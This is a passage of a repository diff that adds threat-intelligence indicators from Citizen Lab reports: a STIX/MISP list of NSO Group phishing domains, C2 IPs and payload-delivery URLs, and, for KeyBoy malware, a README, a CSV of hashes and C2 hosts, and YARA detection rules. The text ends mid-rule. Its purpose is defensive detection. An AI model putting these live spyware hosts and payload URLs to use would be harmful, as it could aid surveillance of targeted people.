+ + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: univision.click (MISP Attribute #1318) + Malware Artifacts + Domain Watchlist + Network activity: univision.click (MISP Attribute #1318) + + + + + univision.click + + + + + + + + + + + + + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: track-your-fedex-package.org (MISP Attribute #1319) + Malware Artifacts + Domain Watchlist + Network activity: track-your-fedex-package.org (MISP Attribute #1319) + + + + + track-your-fedex-package.org + + + + + + + + + + + + + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: mz-vodacom.info (MISP Attribute #1320) + Malware Artifacts + Domain Watchlist + Network activity: mz-vodacom.info (MISP Attribute #1320) + + + + + mz-vodacom.info + + + + + + + + + + + + + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: iusacell-movil.com.mx (MISP Attribute #1321) + Malware Artifacts + Domain Watchlist + Network activity: iusacell-movil.com.mx (MISP Attribute #1321) + + + + + iusacell-movil.com.mx + + + + + + + + + + + + + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: sabafon.info (MISP Attribute #1322) + Malware Artifacts + Domain Watchlist + Network activity: sabafon.info (MISP Attribute #1322) + + + + + sabafon.info + + + + + + + + + + + + + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: newtarrifs.net (MISP Attribute #1323) + Malware Artifacts + Domain Watchlist + Network activity: newtarrifs.net (MISP Attribute #1323) + + + + + newtarrifs.net + + + + + + + + + + + + + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: y0utube.com.mx (MISP Attribute #1324) + Malware Artifacts + Domain Watchlist + Network activity: y0utube.com.mx (MISP Attribute #1324) + + + + + y0utube.com.mx + + + + + + + + + + + + + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: fb-accounts.com (MISP Attribute #1325) + Malware Artifacts + Domain Watchlist + Network activity: fb-accounts.com (MISP Attribute #1325) + + + + + fb-accounts.com + + + + + + + + + + + + + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: googleplay-store.com (MISP Attribute #1326) + Malware Artifacts + Domain Watchlist + Network activity: googleplay-store.com (MISP Attribute #1326) + + + + + googleplay-store.com + + + + + + + + + + + + + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: whatsapp-app.com (MISP Attribute #1327) + Malware Artifacts + Domain Watchlist + Network activity: whatsapp-app.com (MISP Attribute #1327) + + + + + whatsapp-app.com + + + + + + + + + + + + + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: accounts.mx (MISP Attribute #1328) + Malware Artifacts + Domain Watchlist + Network activity: accounts.mx (MISP Attribute #1328) + + + + + accounts.mx + + + + + + + + + + + + + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: adjust-local-settings.com (MISP Attribute #1329) + Malware Artifacts + Domain Watchlist + Network activity: adjust-local-settings.com (MISP Attribute #1329) + + + + + adjust-local-settings.com + + + + + + + + + + + + + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: emiratesfoundation.net (MISP Attribute #1330) + Malware Artifacts + Domain Watchlist + Network activity: emiratesfoundation.net (MISP Attribute #1330) + + + + + emiratesfoundation.net + + + + + + + + + + + + + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: checkinonlinehere.com (MISP Attribute #1331) + Malware Artifacts + Domain Watchlist + Network activity: checkinonlinehere.com (MISP Attribute #1331) + + + + + checkinonlinehere.com + + + + + + + + + + + + + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: turkishairines.info (MISP Attribute #1332) + Malware Artifacts + Domain Watchlist + Network activity: turkishairines.info (MISP Attribute #1332) + + + + + turkishairines.info + + + + + + + + + + + + + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: bulbazaur.com (MISP Attribute #1333) + Malware Artifacts + Domain Watchlist + Network activity: bulbazaur.com (MISP Attribute #1333) + + + + + bulbazaur.com + + + + + + + + + + + + + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: pickuchu.com (MISP Attribute #1334) + Malware Artifacts + Domain Watchlist + Network activity: pickuchu.com (MISP Attribute #1334) + + + + + pickuchu.com + + + + + + + + + + + + + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: damanhealth.online (MISP Attribute #1335) + Malware Artifacts + Domain Watchlist + Network activity: damanhealth.online (MISP Attribute #1335) + + + + + damanhealth.online + + + + + + + + + + + + + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: uaenews.online (MISP Attribute #1336) + Malware Artifacts + Domain Watchlist + Network activity: uaenews.online (MISP Attribute #1336) + + + + + uaenews.online + + + + + + + + + + + + + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: ideas-telcel.com.mx (MISP Attribute #1340) + Malware Artifacts + Domain Watchlist + Network activity: ideas-telcel.com.mx (MISP Attribute #1340) + + + + + ideas-telcel.com.mx + + + + + + + + + + + + + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: nation-news.com (MISP Attribute #1342) + Malware Artifacts + Domain Watchlist + Network activity: nation-news.com (MISP Attribute #1342) + + + + + nation-news.com + + + + + + + + + + + + + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: webadv.co (MISP Attribute #466) + Malware Artifacts + Domain Watchlist + Network activity: webadv.co (MISP Attribute #466) + + + + + webadv.co + + + + + + + + + + + + + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: icloudcacher.com (MISP Attribute #469) + Malware Artifacts + Domain Watchlist + Network activity: icloudcacher.com (MISP Attribute #469) + + + + + icloudcacher.com + + + + + + + + + + + + + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: asrarrarabiya.com (MISP Attribute #470) + Malware Artifacts + Domain Watchlist + Network activity: asrarrarabiya.com (MISP Attribute #470) + + + + + asrarrarabiya.com + + + + + + + + + + + + + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: asrararabiya.co (MISP Attribute #471) + Malware Artifacts + Domain Watchlist + Network activity: asrararabiya.co (MISP Attribute #471) + + + + + asrararabiya.co + + + + + + + + + + + + + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: asrararablya.com (MISP Attribute #472) + Malware Artifacts + Domain Watchlist + Network activity: asrararablya.com (MISP Attribute #472) + + + + + asrararablya.com + + + + + + + + + + + + + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: smser.net (MISP Attribute #473) + Malware Artifacts + Domain Watchlist + Network activity: smser.net (MISP Attribute #473) + + + + + smser.net + + + + + + + + + + + + + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: icrcworld.com (MISP Attribute #474) + Malware Artifacts + Domain Watchlist + Network activity: icrcworld.com (MISP Attribute #474) + + + + + icrcworld.com + + + + + + + + + + + + + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: redcrossworld.com (MISP Attribute #475) + Malware Artifacts + Domain Watchlist + Network activity: redcrossworld.com (MISP Attribute #475) + + + + + redcrossworld.com + + + + + + + + + + + + + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: topcontactco.com (MISP Attribute #476) + Malware Artifacts + Domain Watchlist + Network activity: topcontactco.com (MISP Attribute #476) + + + + + topcontactco.com + + + + + + + + + + + + + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: thainews.asia (MISP Attribute #477) + Malware Artifacts + Domain Watchlist + Network activity: thainews.asia (MISP Attribute #477) + + + + + thainews.asia + + + + + + + + + + + + + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: kenyasms.org (MISP Attribute #478) + Malware Artifacts + Domain Watchlist + Network activity: kenyasms.org (MISP Attribute #478) + + + + + kenyasms.org + + + + + + + + + + + + + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: qaintqa.com (MISP Attribute #479) + Malware Artifacts + Domain Watchlist + Network activity: qaintqa.com (MISP Attribute #479) + + + + + qaintqa.com + + + + + + + + + + + + + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: nsoqa.com (MISP Attribute #480) + Malware Artifacts + Domain Watchlist + Network activity: nsoqa.com (MISP Attribute #480) + + + + + nsoqa.com + + + + + + + + + + + + + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: ooredoodeals.com (MISP Attribute #481) + Malware Artifacts + Domain Watchlist + Network activity: ooredoodeals.com (MISP Attribute #481) + + + + + ooredoodeals.com + + + + + + + + + + + + + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: alawaeltech.com (MISP Attribute #482) + Malware Artifacts + Domain Watchlist + Network activity: alawaeltech.com (MISP Attribute #482) + + + + + alawaeltech.com + + + + + + + + + + + + + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: bahrainsms.co (MISP Attribute #483) + Malware Artifacts + Domain Watchlist + Network activity: bahrainsms.co (MISP Attribute #483) + + + + + bahrainsms.co + + + + + + + + + + + + + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: turkeynewsupdates.com (MISP Attribute #484) + Malware Artifacts + Domain Watchlist + Network activity: turkeynewsupdates.com (MISP Attribute #484) + + + + + turkeynewsupdates.com + + + + + + + + + + + + + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: mail1.nsogroup.com (MISP Attribute #486) + Malware Artifacts + Domain Watchlist + Network activity: mail1.nsogroup.com (MISP Attribute #486) + + + + + mail1.nsogroup.com + + + + + + + + + + + + + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: 52.8.153.44 (MISP Attribute #487) + Malware Artifacts + IP Watchlist + Network activity: 52.8.153.44 (MISP Attribute #487) + + + + + 52.8.153.44 + + + + + + + + + + + + + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: 52.8.52.166 (MISP Attribute #488) + Malware Artifacts + IP Watchlist + Network activity: 52.8.52.166 (MISP Attribute #488) + + + + + 52.8.52.166 + + + + + + + + + + + + + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: 162.209.103.68 (MISP Attribute #489) + Malware Artifacts + IP Watchlist + Network activity: 162.209.103.68 (MISP Attribute #489) + + + + + 162.209.103.68 + + + + + + + + + + + + + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: 82.80.202.200 (MISP Attribute #490) + Malware Artifacts + IP Watchlist + Network activity: 82.80.202.200 (MISP Attribute #490) + + + + + 82.80.202.200 + + + + + + + + + + + + + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: 82.80.202.204 (MISP Attribute #491) + Malware Artifacts + IP Watchlist + Network activity: 82.80.202.204 (MISP Attribute #491) + + + + + 82.80.202.204 + + + + + + + + + + + + + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: 54.251.49.214 (MISP Attribute #492) + Malware Artifacts + IP Watchlist + Network activity: 54.251.49.214 (MISP Attribute #492) + + + + + 54.251.49.214 + + + + + + + + + + + + + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: https://smser.net/9918216t/ (MISP Attribute #493) + Malware Artifacts + URL Watchlist + Network activity: https://smser.net/9918216t/ (MISP Attribute #493) + + + + + https://smser.net/9918216t/ + + + + + + + + + + + + + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: https://smser.net/redirect.aspx (MISP Attribute #494) + Malware Artifacts + URL Watchlist + Network activity: https://smser.net/redirect.aspx (MISP Attribute #494) + + + + + https://smser.net/redirect.aspx + + + + + + + + + + + + + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Payload delivery + + Payload delivery: aalaan.tv (MISP Attribute #467) + Malware Artifacts + Domain Watchlist + Payload delivery: aalaan.tv (MISP Attribute #467) + + + + + aalaan.tv + + + + + + + + + + + + + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Payload delivery + + Payload delivery: manoraonline.net (MISP Attribute #468) + Malware Artifacts + Domain Watchlist + Payload delivery: manoraonline.net (MISP Attribute #468) + + + + + manoraonline.net + + + + + + + + + + + + + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Payload delivery + + Payload delivery: sms.webadv.co (MISP Attribute #485) + Malware Artifacts + Domain Watchlist + Payload delivery: sms.webadv.co (MISP Attribute #485) + + + + + sms.webadv.co + + + + + + + + + + + + + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Payload delivery + + Payload delivery: pn1g3p@sigaint.org (MISP Attribute #497) + Malware Artifacts + Malicious E-mail + Payload delivery: pn1g3p@sigaint.org (MISP Attribute #497) + + + + + + + pn1g3p@sigaint.org + + + + + + + + + + + + + + + + + + + None + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Payload delivery + + Payload delivery: https://sms.webadv.co/3589003s/ (MISP Attribute #1311) + Malware Artifacts + URL Watchlist + Payload delivery: https://sms.webadv.co/3589003s/ (MISP Attribute #1311) + + + + + https://sms.webadv.co/3589003s/ + + + + + + + + + + + + + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Payload delivery + + Payload delivery: https://sms.webadv.co/9573305s/ (MISP Attribute #1312) + Malware Artifacts + URL Watchlist + Payload delivery: https://sms.webadv.co/9573305s/ (MISP Attribute #1312) + + + + + https://sms.webadv.co/9573305s/ + + + + + + + + + + + + + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Payload delivery + + Payload delivery: http://fb-accounts.com/2408931s/ (MISP Attribute #1337) + Malware Artifacts + URL Watchlist + Payload delivery: http://fb-accounts.com/2408931s/ (MISP Attribute #1337) + + + + + http://fb-accounts.com/2408931s/ + + + + + + + + + + + + + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Payload delivery + + Payload delivery: http://unonoticias.net/1867745s/ (MISP Attribute #1338) + Malware Artifacts + URL Watchlist + Payload delivery: http://unonoticias.net/1867745s/ (MISP Attribute #1338) + + + + + http://unonoticias.net/1867745s/ + + + + + + + + + + + + + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Payload delivery + + Payload delivery: https://ideas-telcel.com.mx/3975827s/ (MISP Attribute #1339) + Malware Artifacts + URL Watchlist + Payload delivery: https://ideas-telcel.com.mx/3975827s/ (MISP Attribute #1339) + + + + + https://ideas-telcel.com.mx/3975827s/ + + + + + + + + + + + + + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Payload delivery + + Payload delivery: nation-news.com/4077017s/ (MISP Attribute #1341) + Malware Artifacts + URL Watchlist + Payload delivery: nation-news.com/4077017s/ (MISP Attribute #1341) + + + + + nation-news.com/4077017s/ + + + + + + + + + + + + + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Payload delivery + + Payload delivery: http://fb-accounts.com/1074139s/ (MISP Attribute #495) + Malware Artifacts + URL Watchlist + Payload delivery: http://fb-accounts.com/1074139s/ (MISP Attribute #495) + + + + + http://fb-accounts.com/1074139s/ + + + + + + + + + + + + + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Payload delivery + + Payload delivery: http://unonoticias.net/3423768s/ (MISP Attribute #496) + Malware Artifacts + URL Watchlist + Payload delivery: http://unonoticias.net/3423768s/ (MISP Attribute #496) + + + + + http://unonoticias.net/3423768s/ + + + + + + + + + + + + + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + + + External analysis + + + + External analysis + + + + External analysis + + + + Payload type + + + + + + Event Threat Level: High + + + MISP Tag: TLP:GREEN + + + MISP Tag: SOURCE:CITIZENLAB + + + MISP Tag: DETECT + + + MISP Tag: PUBLISHED + + + + + citizenlab + + + https://citizenlab.org/2016/08/million-dollar-dissident-iphone-zero-day-nso-group-uae/ + + + + + ../../../descendant-or-self::node() + + + + + + + + + diff --git a/data/ioc/spyware/citizen_lab/201611_KeyBoy/README.md b/data/ioc/spyware/citizen_lab/201611_KeyBoy/README.md new file mode 100644 index 0000000..57b3154 --- /dev/null +++ b/data/ioc/spyware/citizen_lab/201611_KeyBoy/README.md @@ -0,0 +1,94 @@ +## KeyBoy IOCs + +This directory contains IOCs from the Citizen Lab report [It’s Parliamentary: KeyBoy and the targeting of the Tibetan Community](https://citizenlab.org/2016/11/parliament-keyboy/) published the 17th of November 2016. + +Files included in this directory: +* openioc.ioc : IOCs in OpenIOC format +* stix.xml : IOCs in STIX XML format +* iocs.csv : IOCs in csv format +* keyboy.yar : Yara rules related to the KeyBoy samples identified +* kb_c2Decode.py : script to decode KeyBoy C2 communications (see help hereafter) +* kb_configDecode.py : script to decode KeyBoy configuration (see help hereafter) + + +### kb_c2Decode.py + +Help: +```bash +$ python kb_c2Decode.py -h +usage: kb_c2Decode.py [-h] (-k KEY | -b BINARY) [--verbose] PCAPF + +Decode KeyBoy C2 traffic from pcap file + +positional arguments: + PCAPF PCAP File containing c2 traffic + +optional arguments: + -h, --help show this help message and exit + -k KEY, --key KEY Manually provide C2 decode key + -b BINARY, --binary BINARY + KeyBoy binary + --verbose, -v Enable verbose output + +``` + +Example: +``` +$ python kb_c2Decode.py -b wab32res.dll dump.pcap +============================ +{KeyBoy C2 Traffic decoder} +============================ + +Found constant: 0x71 +Computing decode value... +Found decoding multiplier (inverse): 0x91 +Searching PCAP for RAW TCP packets and decoding... + +*a* +HOME-PC +192.168.100.103 +MyUser +2016/06/03 00:24:20 +20151108 +``` + + +### kb_configDecode.py + +Help: +``` +$ python kb_configDecode.py -h +usage: kb_configDecode.py [-h] [--verbose] [--skip SKIP] FILE + +Decode KeyBoy backdoor configuration files + +positional arguments: + FILE KeyBoy encoded config file + +optional arguments: + -h, --help show this help message and exit + --verbose, -v Enable verbose output + --skip SKIP, -s SKIP Skip over bytes at beginning of file + +``` + +Example: + +``` +$ python kb_configDecode.py cfs.dat +============================ +{KeyBoy Config file Decoder} +============================ + +Configuration Data: +============================== +Identity Code: 9876543210 +C2 Host/IP #1: 103.242.134.243 +C2 Host/IP #2: 103.242.134.243 +C2 Host/IP #3: 103.242.134.243 +C2 Port #1: 443 +C2 Port #2: 1234 +C2 Port #3: 1234 +Password: password8888 +Campaign ID: MyUser +``` diff --git a/data/ioc/spyware/citizen_lab/201611_KeyBoy/iocs.csv b/data/ioc/spyware/citizen_lab/201611_KeyBoy/iocs.csv new file mode 100644 index 0000000..0cebf96 --- /dev/null +++ b/data/ioc/spyware/citizen_lab/201611_KeyBoy/iocs.csv @@ -0,0 +1,270 @@ +uuid,event_id,category,type,value,comment,to_ids,date +5820ab7b-5a8c-4164-8113-49798e96ca05,17,Artifacts dropped,md5,"495adb1b9777002ecfe22aaf52fcee93","Wab32res.dll payload, KeyBoy 20160509",1,20161107 +5820ab93-8b90-4f61-8591-497a8e96ca05,17,Network activity,ip-dst,"103.40.102.233","C2 IP",1,20161116 +5820ab93-ca00-4627-a8e9-497a8e96ca05,17,Network activity,ip-dst,"45.125.12.147","C2 IP",1,20161110 +5820aba7-e398-41cb-939b-49798e96ca05,17,Network activity,domain,"tibetvoices.com","domain linked to one of the C2 IPs",1,20161107 +5820abec-8b88-4398-ba31-497a8e96ca05,17,Network activity,ip-dst,"116.193.154.69","C2 IP",1,20161107 +5820ac1b-05c0-4d60-8fc5-497a8e96ca05,17,Artifacts dropped,md5,"0c7e55509e0b6d4277b3facf864af018","Payload KeyBoy P_20150313",1,20161107 +5820ac33-586c-4674-b96d-49798e96ca05,17,Network activity,domain,"www.eleven.mypop3.org","C2 domains",1,20161116 +5820ac33-aa80-4d97-99a2-49798e96ca05,17,Network activity,domain,"www.about.jkub.com","C2 domains",1,20161107 +5820ac34-dfc4-4772-8fb6-49798e96ca05,17,Network activity,domain,"www.backus.myftp.name","C2 domains",1,20161116 +5820ac71-ff98-486d-b2e6-49798e96ca05,17,Artifacts dropped,md5,"98977426d544bd145979f65f0322ae30","Payload KeyBoy 20151108",1,20161107 +5820ac98-f508-4869-9701-497a8e96ca05,17,Network activity,ip-dst,"103.242.134.243","C2 IP",1,20161116 +5820ad1d-5d34-489f-97b8-497a8e96ca05,17,Network activity,ip-dst,"157.7.84.81","IPs for C2 Host: www.about.jkub[.]com",1,20161107 +5820ad1d-a7c0-4f84-9d29-497a8e96ca05,17,Network activity,ip-dst,"45.32.47.148","IPs for C2 Host: www.about.jkub[.]com",1,20161107 +5820ad50-de2c-4f26-bd5c-497a8e96ca05,17,Network activity,ip-dst,"192.241.149.43","IP behind C2 Host: www.backus.myftp[.]name",1,20161107 +5820ad9c-c3c4-455e-a5f2-497a8e96ca05,17,Artifacts dropped,md5,"c5b5f01ba24d6c02636388809f44472e","Payload KeyBoy 20151108",1,20161107 +5820adb2-5520-499c-95d3-49798e96ca05,17,Artifacts dropped,md5,"371bc132499f455f06fa80696db0df27","64b KeyBoy payload 20151108",1,20161107 +5820ae20-ebec-43d6-9f95-497a8e96ca05,17,Artifacts dropped,yara,"import ""pe"" +rule new_keyboy_export +{ + meta: + author = ""Matt Brooks, @cmatthewbrooks"" + desc = ""Matches the new 2016 sample's export"" + date = ""2016-08-28"" + md5 = ""495adb1b9777002ecfe22aaf52fcee93"" + + condition: + //MZ header + uint16(0) == 0x5A4D and + + //PE signature + uint32(uint32(0x3C)) == 0x00004550 and + + + filesize < 200KB and + + + //The malware family seems to share many exports + //but this is the new kid on the block. + pe.exports(""cfsUpdate"") +}","",1,20161107 +5820ae49-9114-4d4d-b043-49798e96ca05,17,Artifacts dropped,yara,"rule new_keyboy_header_codes +{ + meta: + author = ""Matt Brooks, @cmatthewbrooks"" + desc = ""Matches the 2016 sample's header codes"" + date = ""2016-08-28"" + md5 = ""495adb1b9777002ecfe22aaf52fcee93"" + + strings: + $s1 = ""*l*"" wide fullword + $s2 = ""*a*"" wide fullword + $s3 = ""*s*"" wide fullword + $s4 = ""*d*"" wide fullword + $s5 = ""*f*"" wide fullword + $s6 = ""*g*"" wide fullword + $s7 = ""*h*"" wide fullword + + condition: + //MZ header + uint16(0) == 0x5A4D and + + //PE signature + uint32(uint32(0x3C)) == 0x00004550 and + filesize < 200KB and + all of them +}","",1,20161107 +5820ae5c-cac4-4c1a-a969-497a8e96ca05,17,Artifacts dropped,yara,"rule keyboy_commands +{ + meta: + author = ""Matt Brooks, @cmatthewbrooks"" + desc = ""Matches the 2016 sample's sent and received commands"" + date = ""2016-08-28"" + md5 = ""495adb1b9777002ecfe22aaf52fcee93"" + + strings: + $s1 = ""Update"" wide fullword + $s2 = ""UpdateAndRun"" wide fullword + $s3 = ""Refresh"" wide fullword + $s4 = ""OnLine"" wide fullword + $s5 = ""Disconnect"" wide fullword + $s6 = ""Pw_Error"" wide fullword + $s7 = ""Pw_OK"" wide fullword + $s8 = ""Sysinfo"" wide fullword + $s9 = ""Download"" wide fullword + $s10 = ""UploadFileOk"" wide fullword + $s11 = ""RemoteRun"" wide fullword + $s12 = ""FileManager"" wide fullword + + condition: + //MZ header + uint16(0) == 0x5A4D and + + //PE signature + uint32(uint32(0x3C)) == 0x00004550 and + filesize < 200KB and + 6 of them +}","",1,20161107 +5820ae72-a878-4992-b659-49798e96ca05,17,Artifacts dropped,yara,"rule keyboy_errors +{ + meta: + author = ""Matt Brooks, @cmatthewbrooks"" + desc = ""Matches the sample's shell error2 log statements"" + date = ""2016-08-28"" + md5 = ""495adb1b9777002ecfe22aaf52fcee93"" + + strings: + //These strings are in ASCII pre-2015 and UNICODE in 2016 + $error = ""Error2"" ascii wide + //2016 specific: + $s1 = ""Can't find [%s]!Check the file name and try again!"" ascii wide + $s2 = ""Open [%s] error! %d"" ascii wide + $s3 = ""The Size of [%s] is zero!"" ascii wide + $s4 = ""CreateThread DownloadFile[%s] Error!"" ascii wide + $s5 = ""UploadFile [%s] Error:Connect Server Failed!"" ascii wide + $s6 = ""Receive [%s] Error(Recved[%d] != Send[%d])!"" ascii wide + $s7 = ""Receive [%s] ok! Use %2.2f seconds, Average speed %2.2f k/s"" ascii wide + $s8 = ""CreateThread UploadFile[%s] Error!"" ascii wide + //Pre-2016: + $s9 = ""Ready Download [%s] ok!"" ascii wide + $s10 = ""Get ControlInfo from FileClient error!"" ascii wide + $s11 = ""FileClient has a error!"" ascii wide + $s12 = ""VirtualAlloc SendBuff Error(%d)"" ascii wide + $s13 = ""ReadFile [%s] Error(%d)..."" ascii wide + $s14 = ""ReadFile [%s] Data[Readed(%d) != FileSize(%d)] Error..."" ascii wide + $s15 = ""CreateThread DownloadFile[%s] Error!"" ascii wide + $s16 = ""RecvData MyRecv_Info Size Error!"" ascii wide + $s17 = ""RecvData MyRecv_Info Tag Error!"" ascii wide + $s18 = ""SendData szControlInfo_1 Error!"" ascii wide + $s19 = ""SendData szControlInfo_3 Error!"" ascii wide + $s20 = ""VirtualAlloc RecvBuff Error(%d)"" ascii wide + $s21 = ""RecvData Error!"" ascii wide + $s22 = ""WriteFile [%s} Error(%d)..."" ascii wide + + condition: + //MZ header + uint16(0) == 0x5A4D and + + //PE signature + uint32(uint32(0x3C)) == 0x00004550 and + filesize < 200KB and + $error and 3 of ($s*) +}","",1,20161107 +5820ae84-8770-42eb-a2f4-497a8e96ca05,17,Artifacts dropped,yara,"rule keyboy_systeminfo +{ + meta: + author = ""Matt Brooks, @cmatthewbrooks"" + desc = ""Matches the system information format before sending to C2"" + date = ""2016-08-28"" + md5 = ""495adb1b9777002ecfe22aaf52fcee93"" + + strings: + //These strings are ASCII pre-2015 and UNICODE in 2016 + $s1 = ""SystemVersion: %s"" ascii wide + $s2 = ""Product ID: %s"" ascii wide + $s3 = ""InstallPath: %s"" ascii wide + $s4 = ""InstallTime: %d-%d-%d, %02d:%02d:%02d"" ascii wide + $s5 = ""ResgisterGroup: %s"" ascii wide + $s6 = ""RegisterUser: %s"" ascii wide + $s7 = ""ComputerName: %s"" ascii wide + $s8 = ""WindowsDirectory: %s"" ascii wide + $s9 = ""System Directory: %s"" ascii wide + $s10 = ""Number of Processors: %d"" ascii wide + $s11 = ""CPU[%d]: %s: %sMHz"" ascii wide + $s12 = ""RAM: %dMB Total, %dMB Free."" ascii wide + $s13 = ""DisplayMode: %d x %d, %dHz, %dbit"" ascii wide + $s14 = ""Uptime: %d Days %02u:%02u:%02u"" ascii wide + + condition: + //MZ header + uint16(0) == 0x5A4D and + + //PE signature + uint32(uint32(0x3C)) == 0x00004550 and + filesize < 200KB and + 7 of them +}","",1,20161107 +5820ae9b-0028-4ea1-bc1f-49798e96ca05,17,Artifacts dropped,yara,"import ""pe"" +rule keyboy_related_exports +{ + meta: + author = 